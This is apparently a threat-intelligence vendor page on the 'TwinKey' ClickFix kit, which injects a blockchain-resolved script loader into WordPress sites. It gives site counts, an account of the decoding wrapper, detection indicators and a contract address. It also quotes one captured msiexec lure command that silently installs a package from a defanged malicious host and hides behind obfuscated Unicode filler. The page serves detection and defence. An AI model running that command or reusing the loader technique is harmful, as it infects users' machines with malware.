Web threats / ClickFix

TwinKey ClickFix kit

TwinKey is a two-key wrapper whose decoded stage reads a script host from Polygon. We have matched it on 70 sites since 7 September.

TwinKey in numbers

Since 7 September, the first TwinKey match in our records, counted on 12 November 2026. How we count.

Sites with TwinKey code70
Sites with a match in the last 30 days56
New sites in October21
Still serving it when recaptured at least 25 days later39 of 42 sites (93%)
Sites running WordPress (captured since 25 September)98%

Two keys unwrap the resolver

TwinKey is an inline wrapper that rebuilds the name fromCharCode from split strings. It applies two repeating string keys to an embedded byte sequence, converts the result to text and writes that text into a temporary script element. The wrapper removes the temporary element and its own script tag after the decoded code runs.

The outer variable names change across copies.

The scheduler and requested path changed

One generation waits for requestIdleCallback. Another uses requestAnimationFrame and the String constructor. Both decode a resolver that calls the same Polygon contract with selector 0xb68d1809.

The contract response supplies a base address. The resolver adds a randomised path below /api/ and injects the result as a script. Copies use /api/index or /api/vendor_lib, with extensions including .js, .avi and .css.

In production captures, those randomised requests received a captcha-themed 404 page.

What we see

MonthNew sites
September48
October21
November so far1

The persistence check found TwinKey again on 39 of 42 sites recaptured at least 25 days after their first match (93%). 98% of TwinKey sites captured since 25 September run WordPress.

TwinKey overlaps with BW panel on 34 sites and with LA02 on 19.

Checking a site

Search raw HTML and decoded inline scripts for:

  • fromCharCode assembled from several short strings
  • two repeating string keys applied to one embedded byte sequence
  • decodeURIComponent(escape(...)) around the decoded text
  • a temporary script populated through textContent and then removed
  • a Polygon call using selector 0xb68d1809
  • randomised /api/index or /api/vendor_lib requests

Decode several copies before comparing them. Scheduling calls, variable names and extensions rotate while the inner contract resolver remains recognisable.

Contracts we read

We read 1 TwinKey contract every day.

ChainContractCurrent destinationsLast changed
Polygon0xb6be32f00cd80b27ed2b94c10dce991d0d27aef0recap-cha[.]xyz

The EtherHiding contract tracker keeps the full destination history.

Hosts its commands download from

TwinKey lure commands we captured download from 1 host.

HostSitesLast seenLatest command
api-net[.]cfd2
Command
mSIEXeC.exe /i hxxps:/\API-net[.]cfd\u14ssp8wsbfcdc /QN S1="Рrосеs8  Васk2rоund  4оnе  7оnitоr                            𝗧​𝗼  𝘃𝗲𝗿𝗶​𝗳𝘆  𝗽𝘂𝘀​𝗵  𝘁​𝗵𝗲  𝗘𝗡𝗧​𝗘𝗥  𝗸𝗲​𝘆          "

URL hxxps://API-net[.]cfd/u14ssp8wsbfcdc

First seen 30 October 2026, 2 URLs on this host.

The ClickFix command tracker lists every host.

Try the feed for 14 days.

Request a trial and we'll send you a live API key, with the same feed, removals and reasons a customer gets.